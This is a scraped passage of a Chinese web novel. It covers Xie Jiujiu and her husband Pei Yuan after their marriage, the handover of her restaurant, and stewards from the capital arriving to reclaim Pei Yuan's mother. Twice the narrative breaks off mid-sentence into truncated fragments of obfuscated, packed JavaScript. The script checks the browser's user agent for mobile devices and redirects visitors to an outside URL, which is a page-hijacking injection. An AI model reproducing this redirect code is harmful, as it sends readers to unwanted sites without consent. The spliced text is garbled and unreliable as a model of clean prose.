裴元的字是下过苦功夫的,这三年守孝很多事做不成,更是能沉下心来练字,到如今笔势已成,一手馆阁体工整漂亮,谢文济现在用的字帖便是裴元自己写的。 但这会子落在纸上的行草笔力遒劲,铁画银钩,一笔一划间皆是掩藏不住的意气风发春风得意。 看得谢文济眉头紧皱,想问裴元得了我姐姐就这么得意,可又觉得这话不该自己这个当弟弟的问。 说出口的话便成了:“姐夫,前院不是有书房。”怎么非来我这里挥斥方遒,难不成回了前院连进书房的时间都没有。 一幅字收尾,裴元扭头去看自己的小舅子,嘴唇微动却终究没说什么。刚成亲,天天有谢九九陪着,谁有心思往书房里去。 这话要跟小舅子说,就太轻佻了。正好这会儿谢九九站在廊下喊两人吃饭,裴元放下笔走到门口,舀了一勺摆在门口给谢文济醒神用的凉水洗手。 洗完了,裴元状似不经意一甩,正好一串水珠甩在小舅子袍角,又故意朝他弹了一串水珠,“吃饭了,走走走吃饭了,傻站着干嘛呢。” 天气热,中午的饭也做得简单。一碗嫩笋尖炒肉,一大盘酸辣藕尖,配上绿豆磨成粉做的凉粉。 酱油香油陈醋花生碎,再加上大把的芫荽和辣子,一人一个钵子拌均匀,酸酸辣辣一大碗吃饭额间鼻翼都冒汗,却也舒服得不得了。 吃完了凉粉,再舀一碗酸菜豆腐脑汤,清爽解辣,再没有比这吃着舒服的一顿饭了。 “曹勇,凉粉厨房还有,不够再去盛。” “够了够了,吃两碗了。” 谢九九的婚事忙完,家里两个长工里年长些的双喜,带着妻儿住到鹿鸣村的老宅子里去了。 一来私塾那边没个自家人守着不行,二来村上的田产都收回来了,平日里也该有人看着。要是佃户有什么事要找东家,有个双喜在中间传话,有什么事都不用再过族里的耳。 双喜今年二十八,家里老娘跟着他哥过日子,妻子连生了两个小子,一个十岁一个五岁。 养小子花费大啊,不光吃得多,连衣裳都比小妮子更费。好好的衣裳穿在身上,出去滚上一天,回来手肘膝盖处都是破的,也不知道在外面到底干嘛了。 更别说他家老大都十岁了,马双喜能出来做长工,那就是家里穷得很了。穷人家的孩子早当家,十岁的男孩儿能当半个大人用。 那孩子在外面也不光傻玩儿,也跟着比他更大一些的孩子去找些散活儿干。有时能赚几个铜板,有时能混一顿饭,总之眼看着儿子一天比一天大,就不能当孩子糊弄了。 双喜想要攒钱给家里买田,或是把老大送去学徒。不管是木工还是漆工,只要能熬过前面几年,等把手艺学出来这辈子就不愁没个吃饭的手艺。 学徒没工钱,学艺不好分心。那几年不光要养儿子,师父那里还得时时打点。家里看师父重,师父才能看徒弟重,要不然且有得苦头吃。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227390|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这么多事情压在心头,快三十的马双喜一点劲儿都不敢泄。干活练就出的好身板等闲三五个人近不了他的身,早起还要打拳,打完了一套拳才开始干活。 他一直留在谢家的原因除了是老东家,干活稳定从不拖欠工钱之外,最重要的就是包吃包住。壮体力的汉子能干更能吃,换个东家,能不能让自己可着肚子吃到饱了为止,就不好说了。 双喜这一走,家里的长工就剩承平一个人。 买菜砍柴担水、家里上下琐事,看着每件事都不难,做起来才知道一天来来回回的总没个闲的时候。谢九九和裴元又住在前院,两个院子的活儿就更多了。 裴元现在是黄海正经的外甥女婿了,县衙户房很多事情都是直接找裴元,事情做完隔不了几天工食银就能发下来。 曹勇和高义跟着住过来,高义机灵,衙门和书铺有什么事都是他来回跑腿。曹勇基本留在家里,家里活计他帮着承平干了不少,黄娟看这小子可喜欢了。 凉粉双喜一个人能吃四大碗,有时候胃口好还要再添半碗,双喜刚去鹿鸣乡不久,家里做饭还是老习惯,实在是做多了。 “多了的镇在井里,晚上我还吃这个。”谢九九一到夏天就喜欢吃这些,凉粉凉面凉皮,怎么吃都吃不腻。 “晚上别吃凉的,剩下的切成片片,加上豆芽鸡蛋炒着吃。” “好,多放辣子,辣一点才过瘾。” 说定了晚上吃的,谢九九整个人看上去都很开心。成了亲的大女儿肉眼可见的高兴,黄娟自然也跟着高兴,然后谢九九趁着她娘心情好,把憋了两天没说的话给说了。 “娘,明天我要去云客来。” 早上煮的绿豆,加了糯米红枣一起熬得黏糊糊的,放在井水里镇了一上午。倒进瓷碗里,碗壁外面都挂了一层小水珠,比外面卖的冰碗还解暑。 一家子吃过饭,坐在内院正房边消食边说话,还没等黄娟问大女儿和大姑爷要不要去乡下住几天,县城比下乡热。这刚成了亲的小夫妻,天天在家也没甚意思。 却不想她还没开口,谢九九就先把自己给安排好了。 “我和远舟的事办完了,潘掌柜也该去府城了,答应了东家要去我们不好强留。” 潘掌柜要走,谢九九没想过再找掌柜。以前云客来的东家就是掌柜,当年是谢德昌当家是这样,现在轮到自己当然也是一样。 再说,自己跟裴元成亲了,总归要往府城去一趟。关氏是亲娘,再怎么也不能真就撂在那儿不管。 这几天去云客来跟潘掌柜把铺子里的事情交接说清楚,正好还能顺道把他也捎去府城。老关系嘛,买卖不成仁义在,以后谁知道什么时候又能用上了呢。 “那……”黄娟看看自家姑爷,“那远舟明天跟你一起去?” “娘,明天我要去一趟衙门,昨天大舅让高义带了信回来,要收夏粮了,怕是该忙了。” 得,这就是各有各的忙,各有各的事。两人明显就是早就商量的好的,黄娟自然也不好再说什么,摆摆手只当孩子大了,管不住了。 25.第 25 章 容县的夏天,热得厉害。刚进六月晚上睡觉前屋子里一定得泼一盆水,等地砖上的水干了把热气带走,外边的夜深了有些凉风了,人才躺得住。 新婚的夫妻住在前院,晚上把两个院子中间那道门一关,两边就算是隔开了。老吴住在门房上,还有一道影壁隔着,夜里没事也不会过来。 谢九九关上门只留两扇窗半开着,好让风能吹进来。再回头一看,人家裴郎君已经把单穿的直裰都脱了,光剩一件无袖的对襟褂子披在身上。 好似做了真夫妻,成亲前那些矜持自持就都不见了。当着人前还能装装相,人后没人能看见,可就半点都维持不住了。 唯一还能顾及的,便是家里只分了前后院,后院还有丈母娘和小姨子,裴元说什么都不肯穿大裤衩。 谢九九只好去扯了透气轻薄的纱绸回来,给他做了几条长裤在屋里穿。夜里真有什么事要出去,也不妨事。 “昨天的故事讲到哪儿了,” 就谢家这家底子,吃的冰碗里加些冰块或是还行,天天在屋子里摆冰盆还是算了吧。一年到头赚的钱还不够买冰用的,泼水散热就挺好的。 “还听啊,昨晚上你听着听着就睡着了,我哪知道你听到哪儿了。” 小夫妻在床帏里再有说不尽的乐趣,也不好天天折腾不知节制。 可刚过了瘾正是食髓知味的两人整夜睡在一起,别说故意,就是无意间碰到哪儿都直冒火星子。 只要想了,谢九九就哼哼唧唧抬起手臂箍在裴元肩头,也不说话,光用潋滟漂亮的杏眸直勾勾的看着他,这谁能受得了。 实在没法子了,只得狠心咬牙抱着谢九九塞进薄毯子里,给她讲故事哄睡。 从诗经到春秋列传再到志怪小说隋唐演义,谢九九每晚都听得津津有味。昨晚上特地挑了个才子佳人的故事来说,没想到反而把这人给听睡着了。 “人家书铺的老板跟我说,他们铺子里就这些才子佳人的话本子卖得好,你怎么还听睡着了。” “那话本子太假,比飞头族的人晚上头能飞出来杀人偷宝还胡诌,太不像话了。” 夜深了,窗外吹进来一股风,靠在床头心里默念了几句‘心静自然凉’,谢九九这才挪动脑袋在裴元肩膀上找着个舒服位置靠着。 “也不知道是哪个歪了心眼的穷书生写出来的,哄鬼鬼都不信。” “怎么说,怎么就不像话了,你给我说说。” 读书人赚钱,无非这几条路,写话本子也是很多秀才文人赚钱的法子。尤其因着些话本子用的都是化名,很多拉不下脸面的书生,都想要以此为生。 不过也不是人人都能靠这个赚钱,容县这样不大不小的县城,就很少花钱从书生手里买话本子。 书肆里的书都是京城和各大府城里极为畅销的,县城的书铺才会进货来卖。昨晚上那故事,是裴元挺久之前替书铺抄过的。 听说是一富户人家的小姐特别喜爱这个故事,专门托书肆找个字写得好的人誊写一遍,人家要拿回家去收藏保存。 人家爱不释手的故事,到了谢九九这儿却成了不像话。长夜漫漫,本来有了几分睡意的裴元,一下子又来了兴致,换了个姿势侧身靠着,非要跟谢九九问个究竟。 “你想啊,咱们家这么点家业,我挑女婿都又要识文断字又要性子硬,还要性子圆滑懂人情世故……” 谢九九掰着手指一条条数,抬头看一眼裴元,犹豫一下还是决定小小奉承他一下,“最好还要像郎君这般眉目俊朗秀色可餐,我才肯要。” “话本子里的小姐,是宰相家的千金小姐,看上一个手无缚鸡之力,迂腐古板连秀才都考不上的书生,还要死要活的非要嫁给他。” 甚至连身份和嫁妆都不要了,一个千金小姐就那么空手空脚什么都不带,私奔搬去那书生家里,无媒无聘就这么跟他过起日子来了。 “嫁妆不要,她倒是吃什么。这天气我去厨房炒个菜都热得站不住,书生穷得连书都当了,那小姐便是能吃这个苦,给他洗手作羹汤,他们家也没东西给她做啊。” 吃,吃没有,穿,穿没有。都不说什么奔则为妾的话,从家里出来的时候好歹带上些首饰金银,宰相府的东西哪有不好。 “不说带上多少,簪子上的珍珠多揪几颗下来,总能换些米面粮油。就这么光着出来了,别说千金万金的小姐,就是街头巷尾的孩童,都做不出这么蠢的事。” “也别说什么心里有愧疚不愿再拿家里的钱财,那小姐又不是吃风喝露长那么大的,养她那么些年,也不知要花费多少。 自己都跟着那穷书生跑了,还在乎那点零碎做什么。坏人都做了,便该一坏到底,这样好歹自己不吃亏。 像那话本子写的,日后宰相府找不到那小姐还好,找到了看着女儿过成那样子,嘴上再怎么着心里能不难受?这可真是自己没得着好,还拖累一家子。” 好个牙尖嘴利的谢九九,之前看她对付谢家族里那些无赖,裴元只觉得过瘾。 现在这劲儿冲着自己来了,裴元赶紧故作小意地搂住妻子,“这话本子也是我从别处看来的,咱俩说归说,可不能把气往我身上撒。” “只要那话本子不是你写的,就不跟你生气。” “我跟你说,话本子里那小姐也就话本子里有,都是假的。 但那个写话本子的书生却不是个好东西,自己够不着就老想着人家能抛家舍业的奔着他去。这种人要是没功名,以后也肯定不会有了。” “是是是,娘子说得是。我也觉得那样的人肯定考不上功名,再怎么起码就不如我,对不对。” 裴元明显是想要把这事给糊弄过去,却不想谢九九突然冲他一歪头,“你说,写话本子能赚多少银子。” “那得看书卖得好不好,话本子志怪游记这等闲书,比起诗经子集卖不上高价。除了市面上那几个名气大的,卖一个话本子也就十几两,顶多二三十两银子。” “你卖过?” 裴元认真琢磨事情的时候就是这幅表情,蹙着眉头,嘴唇细细抿着,连带微微上扬的眼尾也越发锐利起来。 “啊?” “你是不是也写过,我看出来了,不许骗我。” 谢九九翻身压到裴元身上,“不说不写这个人怎么知道卖一个话本子多少银子,光看你刚刚认真想的那样子,就不是只从别人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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铜壶里的水还热着,两人就着一盆水洗过脸,彻底清醒过来,穿戴整齐往后院去给黄娟请安。一家子坐在一起吃过早饭,这才出门一个往左拐去云客来,一个往右拐去县衙。 大夏天的,云客来的生意却显得有点凉。谢九九跟潘掌柜在后院交接对账,等把饭庄里的事情交代明白,他就算功成身退了。 潘掌柜手里有三套账,一套是做了给县衙户房交差,饭庄每年要交的税和徭役杂费都从这套账目上来。 一套是给谢宝柱,他们再拿那套账去糊弄谢九九。还有一套,才是他留下来要交给谢九九的,这本账里除了饭庄收支,更多的都是这三年他记下来的细碎繁琐的记录。 里面有各家菜贩肉贩粮油铺子,哪家什么货便宜,哪家虽然贵一点但东西齐全,就连桌椅板凳坏了应该找哪家木匠修补,都给谢九九全写好了。 从打交道的那天起,潘掌柜和谢九九就都坚守着自己的分寸,都知道这种形式下让对方彻底交心是不可能的,便互相维持着客气体面,相安无事过了三年。 现在看着潘掌柜事无巨细的交代,谢九九难得涨红了脸,手贴在荷包上来来回回揉了好多次,这才硬着头皮把荷包里的银票拿出来。 “潘掌柜,这银票是早就准备好的,都说穷家富路,虽然只是去府城,但到底是出门在外。 本是一点心意,可现在看着潘掌柜留给我的东西,这银票拿出来,倒是看轻掌柜了。” 26.第 26 章 谢九九毕竟年纪小,这几年被本家的族人为难得多了,难免有些偏激。可这世上虚情假意固然多,真心实意却也不是没有,潘掌柜便是如此。 想要去更好的地方给实力更强的东家干活是真,替谢家守了三年云客来,给自己把饭庄里的事一件一件仔细交代也是真。 谢九九对人向来要留三分,现在得了潘掌柜毫不遮掩的好,一时间就觉得自己准备的二百两银子,拿出来是辱没了人。 “东家这是什么话,出了门何处不要用钱,这银票东家给的正是时候,我就不跟东家客气了。” 活了大半辈子的人了,潘掌柜如何看不懂谢九九。十七八的姑娘被逼得只能招赘,还要扛起一个家,有防人之心是对的。 自己不过尽自己的心,她便觉得她待自己不够诚,羞愧得脸都红了。 说到底还是这孩子心软,不怕别人对她不好,大不了拼个你死我活也不是不行。就怕别人对她好,她反而不知道该怎么回这份好意。 “九九,我跟你大舅是一辈儿人,今天托大再咐你一句,以后在云客来你轻易别心软,对你好的人不管怎么着都知道你的难处,老想着要你心软的人,好不到哪里去。” “潘掌柜的话我放在心里了,我就这会儿不自在,等过两天也就好了。您尽管放心,我这人厉害惯了,您想要我该我也改不了。” 一老一少,没了东家和掌柜的身份束缚,倒是比之前三年聊得更投机,谢九九都恨不得拍胸脯把潘掌柜留下来,潘掌柜也恨不得立马去信拒了那边东家,干脆留下来得了。 聊完了,听见前面热闹起来,收拾好心绪起身往外走,才又看不出方才两人刚掏过心窝子,什么留下来不留下来的,也就那么一说。 生意不好,不是完全没客人。要做掌柜,自然得在饭庄里支应着。 成亲了,头发得梳起来。大热的天多余的首饰不愿意戴,早上打开装包头巾的匣子,挑挑拣拣半晌,挑了一块淡粉色的丝绸纱。 把挽起的发丝包住,再用裴元自己做的银簪固定,配上珍珠耳环,瞧着简洁大方,站在当年谢德昌习惯站的位置,进来的客人便都知晓,云客来的东家是真的回来了。 或许是谢九九今年三下五除二把谢家收拾得够呛的事传得足够广,又或是谢九九骑马去裴家接亲足够霸气。 总之进来的客人无论是谁都客客气气朝谢九九拱手示意,谁也不当她是以前那个跟在谢德昌身后,天天在云客来里玩儿的小孩儿。 客人不算多,后厨的菜也出得快。忙过一阵谢九九躲到柜台后面,一边扒拉算盘珠子一边看着外面的街市,琢磨能有什么法子能把食客重新招揽回来。 谁知没等谢九九想到有什么办法能吸引食客,就瞧见承平急匆匆的从外面跑来,“大娘子,出事了。府城来了人,说是姑爷亲娘的娘家人找来了。” 谢九九成了亲,家里的称呼都跟着都改了。大姑娘成了大娘子,黄娟成了夫人。谢文济和谢芝娘没成家,还按照之前的称谓,不曾有变化。 承平一路跑过来急得很,许是慌了神也不管铺子里还有食客,就急急把事情大声说了。 跟在后面一路小跑赶都赶不上的春儿,老远就听见承平的声音,气得想骂人又实在喘不过来,只得先去扶住脸色有些难看的谢九九。 裴元跟自己说过关氏的事,被贬谪的去了岭南的人家,时隔多年能来找一个半路病得只剩一口气的女儿,是不是好事还真不好说。 “裴元呢,他知不知道这事。” “府城来的人先去的裴家。” 到了裴家见只有看家的老高头和水妈妈,一问才知道裴元自己做主把自己给嫁了。 “人是被老高叔带过来的,姑爷不在,已经打发曹勇去衙门那边了。” 自己跟承平往饭庄这边来,本是想悄悄把大娘子叫回去就行了,谁知承平这个小子慌脚鸡一样,没一点用! 定下跟裴元的亲事之后,谢九九想过裴家本宗不乐意,也想过关氏得着消息之后来闹。所以这门亲事裴元说他自己能做主,谢九九就再没提过别的。 就自家的条件,还想找个条件比裴元更好的女婿入赘是不可能了。好不容易两边都乐意,紧赶慢赶把亲事办完,这怎么刚把人弄回家,就出岔子了。 谢九九稳了稳神,收拾好心情,很快脸上就看不出有什么不高兴的样子,还伸手在承平肩膀上拍了拍。 “去后面喝点水,多大的事用你这么着急忙慌的跑来。找来了好啊,独木不成林,这事要靠得住以后咱们家又多了门能走动的亲戚啊。” 谢九九面上不露异色,把饭庄依旧留给还没走的潘掌柜和秦娘子,又耐着性子跟几个老客打了招呼,这才带着春儿从云客来出来往家中走。 到家的时候黄二舅已经带着两个表哥来了,老实巴交的汉子坐在前院门房外的条椅上,一见谢九九就先站了起来,“你大舅带着姑爷去镇上了,得下午才能回。” “那就让高义去镇上找。” 二舅讷言,却最疼爱谢九九。从小谢九九就骑在黄江肩膀上这条巷子走到那条巷子,只要谢九九没逛够,黄江就不回家。现在姑爷家出了变故,哪能不着急。 “二舅别着急,不一定是坏事。” 不管来的人是从岭南还是京城来,能出得起路上的花费,还能在茫茫人海里把关氏找出来,这里面要花多少时间多少银钱,是谢九九都不敢想的。 “你这孩子,别哄你二舅。这么好的人家,能眼看着自家的姑娘给别人做外室,自家的孩子入赘给咱们当姑爷?” 要不说有时候老实人说话办事更不好拿捏呢,本来还想哄一哄家里人,没成想一句话就被黄江给戳破了。 “不是哄您,是哄我娘。等会儿进去千万别说了,这事等裴元回来再说,人家愿不愿意还不一定,关家就那么好回?也不一定吧。” 这话说得倒是有道理,黄江点点头就不说话了。 容县因为府城传来的消息,惊动了三家人。府城关氏住的小院子,更是被从京城来的人挤了个水泄不通。 捡关氏的寡妇姓周,关氏当年被周寡妇捡回去时年纪不小了,病得昏昏沉沉的时候被周寡妇问出身家世,也曾糊里糊涂的吐露过一些。 等到后来病好了养活了,两人反而 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当娘的亲手把女儿一卷席子扔在流放的路上,是万般无奈也是个大家都找个活路。女儿跟着走下去活不成,自己带着那么个病恹恹的女儿走下去,也活不成。 当时狠下了心,觉得命里注定。过后自己活下来了,又不知道多少次后悔,不该把女儿扔下。 就是活不成,也该让孩子在自己身边咽气。自己带到世上来的孩子,再由自己亲手埋了也算安心。如今这死活不知的,又怎么甘心闭眼落气。 心里顶着一口气,庞氏倒是真撑了过来。但毕竟是油尽灯枯的人了,再熬又能熬多久。关家只能再派人来找,这一次或是下了狠心,亦或是运气眷顾,总之是把关氏给找着了。 关氏是被裴老三养着的外室,却不是立不起来处处要靠着人的女子。 这会儿她听着来人说的话,脸上并没有多少喜色。这人只说关家洗脱了冤屈回了京城,说家里娘亲病重,只盼着再见自己这个当女儿的一面。 可关家到底是因为什么获罪,又凭什么能洗脱冤屈,洗脱冤屈和回京起复这二者之间区别大了去了。 只说娘亲想自己,想再见自己一面,却又不说如今家里还有哪些人。一个裴家,内里都几房争斗复杂极了,更何况是关家。 能找到自己,就一定是知道自己这些年过的什么日子。 娘亲想见自己,关氏并不质疑,但其他人呢,还想要见一个给人做了多年外室,甚至还差点成了暗门子的自己吗。 最重要的,来的两个管事从始至终都没有提及裴元。那是自己的儿子,是这么多年自己一直认定,在这个世上跟自己唯一血脉相连的儿子。 他们不提,是他们不想认,还是说不知道该怎么提。 当年一家子被流放,母亲把自己留在岳州是逼不得已,自己从未怨恨过。但自己这一生,苦的时候多乐的时候少,早不是关家那个天真烂漫的小姐了。 她看着眼前的管事,心中担忧母亲不假,但更多的还是在心中飞速筹谋,是不是能借这一次机会,替儿子求来更多更好的前程。 27.第 27 章 高义找到裴元的时候,裴元正一手扒拉算盘一手登记造册。 县衙就这么多人手,下个月收的夏粮要全部入库造册,为了不耽误布政使司汇总,眼下整个衙门就该忙起来了。 特别是户房的人,一个个都忙得脚不沾地,连带皂班快班的捕快都抽调了一大半来帮忙。 裴元正拿着上一年的户籍册子核对,等书面上的对完,还要去田间地头核对,确保这些田地是真实存在的,没有虚报瞒报。 这些事光靠县衙这些吏员,每天十二个时辰不睡觉也做不完,这个时候各村的村长、里正就显得尤为重要了。 不知道是不是故意的,黄海专门挑了鹿角镇。 底下各乡各村的村长、里正都来了,在村上颇有脸面的人到了黄海跟前,谁都要陪几分客气,只有族爷家的老二,鹿鸣村现任里正站在不起眼的角落,一言不发地看着这边热闹。 谢家那族爷至今病还没好,本就脾气不好的人被气狠了,再听说村上的私塾已经办起来,幺叔爷当了塾长没来找他,一生气病就更好不了。 当爹的再不好,轮不到谢里正这个儿子来抱怨。但旁人不会管这些,人家都围在裴元和黄海身边说话。 夸沈霁这个教书先生性子好,谁家的孩子送过去,不管学得多慢从来不骂人。又夸幺叔爷这个塾长当得好,一个个皮猴子被他管得老老实实的,谁都不敢闯祸胡来。 最主要的还是说谢九九的好话,说她这个谢家的当家人做的好,没忘了族里,给村上族里办的都是实事。 这个月份早稻到了要紧的时候,月底陆陆续续各家都要收割。收割完了马上又得把晚稻种下去,一年两熟听着富饶,干起活儿来也是正经能累死人的。 为此谢九九专门让双喜跟沈霁说了,这两个月每天只上半天课,剩下半天学生们都回家帮忙干活去。 乡下养孩子,除了三岁之前要人看着,三岁以后那就是见风长不用操多少心了。 农忙的时候五六岁的孩子能自己照顾自己,七八岁的女孩儿能在家做全家人的饭,还能把喂鸡喂猪的活儿一起干了。 十岁上的男孩儿就是半个劳力,不管是收割还是插秧,家里的活儿是肯定不能落下的。 要是农忙的时候不让他们回去帮忙,恐怕这私塾里的学生过不了多久时间就要少上一大半。 现在这么安排,大家伙才都觉得这样好,又读了书又没耽误家里的农活儿。 私塾是谢九九出银子办的,教书的先生是裴元的同窗,就连请了幺叔爷这么个镇山太岁看管那些皮猴子,花钱的也是谢家。 如此一来,大家伙提及谢九九和谢家,自然是只有说好话的,连同幺叔爷在村里的名声威望都高了许多。人家是塾长,那也是半个先生嘞。 作为谢九九的姑爷,裴元被隔壁几个村的里正村长围着一通好夸,都是想这位姑爷松松口,让自家村里的孩子也能去鹿鸣村读书。 可这事裴元能替谢九九做主吗,况且谢九九压根也不能同意。 且不说这个口子一旦开了,会有多少人想要把家里孩子送去私塾,到时候收了这家不收那家反而得罪人。 只说来回路上的安全问题,就不是人家家里大人拍胸脯三两句话保证,真的能保证了的。 一个村子里,住得再偏远也就那么远,出了事喊一嗓子周围总有左右邻舍出来帮忙。 出了村子,再是说就在隔壁,走过去也还有老远的路。有的村子甚至还得翻一座小山才能到,这路上来来去去出点什么意外,是谢家能负责还是沈霁能负责。 都不能,那这个口子就不能开。 不过这事不能回绝得这么硬,裴元只笑着说沈霁年轻,启蒙的时候最要用心,孩子多了教不过来,实在是有心无力。 这话一说出来,鹿鸣村的村长和跟着一起来镇上的幺叔爷先变了脸色。不用裴元再多说什么,这事从他们那儿就肯定是不成的了。 这事不行,大家伙也不纠缠,转头又围着黄海说起今年夏粮的事情来。 税即是粮,粮即是税。整个岳州府都近湖泽,一年两熟交的都是粮,这么多年交粮早成了一门学问。 粮食交上来之前,还有那么多道工序,尤其是要在坪上晒干,晒干了再把掺进去的沙子筛出来,这里面要是想要做手脚,能省下来的粮食,可都是自家的口粮。 这种事年年都有,往粮食里掺沙子掺稻壳,再不然不把粮食晒得太干,黄海是年年斥责,底下的村长里正是年年赔笑脸,最后这些粮食还不是该收都得收。 裴元不管那些,他只负责把要登记造册的文书弄好,书面上叫人查不出错处就行。 老百姓种一年的粮食不容易,都别看不起这些小心思,省下来的粮食说不定就能让一家子吃上一顿肉,这难道不要紧? 从府城到容县,裴元这几年觉得最不亏的就是当初为了赚钱来给衙门帮忙,埋头读书固然重要,有时候也得抬头看看这天下,看看这从未被写进史书子集里的琐碎小事。 二十来岁的年轻人再稳重,想到这些心中也难免有一丝得意,觉得自己的谋划处处周全。 可命运最擅长的便是一个又一个的玩笑,还没等裴元偷偷走神想一想今晚回去能有什么好吃的,就远远瞧见高义驾驴车过来了。 高义聪明,来的路上就想明白了这事还是说不上是好是坏,到了地方不露慌张,只是附到裴元耳边,小声把这事给说了。 自己亲娘的娘家人找来了?裴元听了这话第一反应是疑惑,随即便把心里的惊骇强压下来。 “夏粮的事不好耽误,你先回去跟大娘子说,就说我知道了,让她把人留下来,等我回去了再商量。” 黄海见家里来人,立马转头拿眼神问裴元怎么个事。 “没事,就是镇上空着那宅子有人问九九还租不租,这不又问我来了。” 放屁,一个宅子租不租谢九九还能问到你这儿来?还非要高义从县城专门找过来。 裴元找的借口黄海是 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“来了一个管事和一个小厮,两人身上的衣裳皆是上好的夏绸,寻常人家怕是都穿不起。” 都说宰相门前七品官,谢九九和裴元都没见过宰相。只看着来人从头到家皆体面,就知道这寻亲的关家如今一定家世不凡。 寻亲本是喜事,尤其关氏又一个人在外飘零多年。但她这些年来的经历实在算不上好,门第太高的家世,或许也不全是一件好事。 “他们只说了他们从京城来,是想要接……”谢九九顿了一下,考虑了一下该怎么称呼,“接娘回去。” “不是说关家的老夫人病重,若这事是真的,确实该回去。” “我也是这个意思,但娘不肯说回还是不回,只说让他们把你接去府城再说。” 裴家在容县只有裴雨伯这一支,裴雨伯一死,只要不是裴元主动往府城去,府城里的裴家跟容县这边基本就断了联系。 入赘的事,裴元把家里几口人嘱咐好了,沈霁又不是个多嘴的人,府城那边至今还一点风声都没收到呢。 “走,咱先去问问那两人,这事到底想怎么办。要是真得去府城,咱俩一起去,正好把潘掌柜也捎带上。” 谢九九眸色中有不小心漏出来的一丝不安,裴元看见了没追问。有些事问没有用,说更没有用,只有落到实处做到了,才能叫人安心。 裴元牵着谢九九往前院走,谢文济习惯着也要跟着姐姐去,却被黄海给拉住。这事跟关氏有关系,跟小两口有关系,旁人再掺和却没有好处。 “大舅?” “别裹乱,你能有你姐厉害?等着看看情况再说。” “大舅,要是姐夫他娘亲的娘家要把姐夫和他娘都带走怎么办啊。” 怎么办,要是真的能从裴老三手上把关氏要来的人家,裴元若心甘情愿跟着走,黄海扫了一圈自家妹妹和外甥,那还真是一点法子都没有。 28.第 28 章 谢家害怕关家找来,把到手的女婿带走。被安置在前院客房的韦管事心里也七上八下,觉得这次来岳州怎么事事不如意。 本来为了找到失散多年的姑奶奶就已经费了老大的劲儿,好不容易找到了,这么大岁数的姑奶奶还是个没正经出过阁的姑小姐。 一打听姑小姐这些年来的际遇,心就往下沉了一截。 哪怕给人当个姨娘呢,也比给人当外室说出去好听啊。偏偏这主儿还不是个好哄的人,人家有儿子,过继出去了又如何,真碰到事上了,人家第一个想到的就是儿子。 这次关家派了两个管事出来,二管事留在府城应付裴家的人,韦管事是专门负责替府上在外面办差的小管事,来容县请裴元这种‘小事’自然是他来跑腿。 “管事,您说这谢家也真有意思,都说了咱们是京城来的,为的是要接姑小姐回去。他们家倒好,表面上看着客客气气,其实防备得很。” 岳州府本就不是什么大府城,之前打听到关氏的消息,他们都以为说明了来意,大小姐肯定能马上答应跟着去京城。 毕竟关家的大小姐,和高州通判家老三养的外室,这两者之间身份差距说是天差地别,一点也不过分。 不想那姑小姐不是个好说话的,连要求都不提,只说先把儿子接过去再说。这就是摆明了要走可以,但是要带着儿子一起走。 他们也是到了容县才知道这位小爷竟然自己把自己入赘给别人家了,这消息打了两人一个措手不及,本来就复杂的事,这下就更复杂了。 “在府城的时候就听旁人说,大小姐生的那小爷模样才情都好,还是个读了书的。得了这么个姑爷,要是你你舍得放手。” “管事说得对,不过这种事讲究个你情我愿,小爷自己答应的……” “此一时彼一时,跟着大小姐回咱们家,在京城就再没有人知道小爷的出身。留在这儿?” 真不是韦管事自视过高,谢家不过一个小小县城里开饭馆的人家,能给小爷什么?顶天也就是读书赶考的银子不需小爷操心。 这算什么难事,说句不好听的,这点子银子自己和严管事凑一凑都能凑出来,如何就到了要堂堂一个男子汉入赘的地步了。 院子就这么大,两人说话声音也没有刻意压低。 前院有老吴叔坐在门房外面守着,一张矮竹椅一把大蒲扇,就这么认认真真的守着,隐约听见两人说话的内容,脸色难看得吓人。 倒是裴元和谢九九站在门外廊下听得认真,脸上并没有显露出明显的不高兴。甚至耐心等里面说话声停了,才推门而入。 事关娘亲的身世和未来,裴元没有跟两人绕弯子,拱拱手道了一句路上辛苦,便很直接的问两人的来意。 关氏和几个兄弟姊妹长得都很像父亲,而裴元长得又像关氏。 韦管事看着跟府里老爷和大爷都有四五分相似,眉眼舒朗神情冷峻的年轻人。原本还因为裴家生出来的几分怠慢之心,此刻也全藏了起来。 事情不算复杂,就是关家老夫人病重,死之前还想找到当年扔在半道上的女儿。 而不管是自欺欺人还是不敢多想,关家一家子都从来没提过要是关氏流落到脏地界或是做了暗门子该怎么办。 哪怕是庞氏,这些年来也只说害怕女儿日子过得清苦受罪,别的话一句也不敢提。 这次出来找人,两个管事得着吩咐也只有一桩,要是找到了大小姐就赶紧把人带回去。 在关家的设想里,要是关氏是流落在寻常甚至清苦人家,那么不管是给银子还是后面再帮衬着,问题都不大。 要是关氏落到更不堪的境地里去,其实更好解决。什么样的女人拿银子赎不出来。赎出来了带回京城,回了关家大门不出二门不迈,又有谁还能知道关家大小姐在外面经历过什么。 偏偏关氏的情况是两边不靠,裴家再怎么说祖上也曾在京为官,现在二老爷在高州任通判,那裴三爷还用儿子换了个总旗的武职。 这么一来,想要顺利把人带走,除了关氏自己愿意,裴家这边不能得罪得太狠了,裴元怎么安置也不能马虎,桩桩件件都是头疼的事。 主子不在,管事的就不敢把话说得太死,除了要把关氏带走是斩钉截铁的,其他话多少都有些模棱两可。别说裴元,就是谢九九也听得只冒火。 “来找我,是因为娘不肯跟你们回京城,想要我帮着劝一劝。” 裴元沉着脸看向两人中明显为主的管事,脸上的神情多少有些不虞。还是搭在大腿上的手被谢九九紧了紧,难看的脸色才多少收敛了些。 “贵府派你们出来之前,可曾知晓我娘的情况。” “不知,我们到了府城有四处托人打听,前后用了两个月才找着。前天找到姑小姐,当天就已经往京城去信了。” “既去了信,不若等了回信再做决定。” 